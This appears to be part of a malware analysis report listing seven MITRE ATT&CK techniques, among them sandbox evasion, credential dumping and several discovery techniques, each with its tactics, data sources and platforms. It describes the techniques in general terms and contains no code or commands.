Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre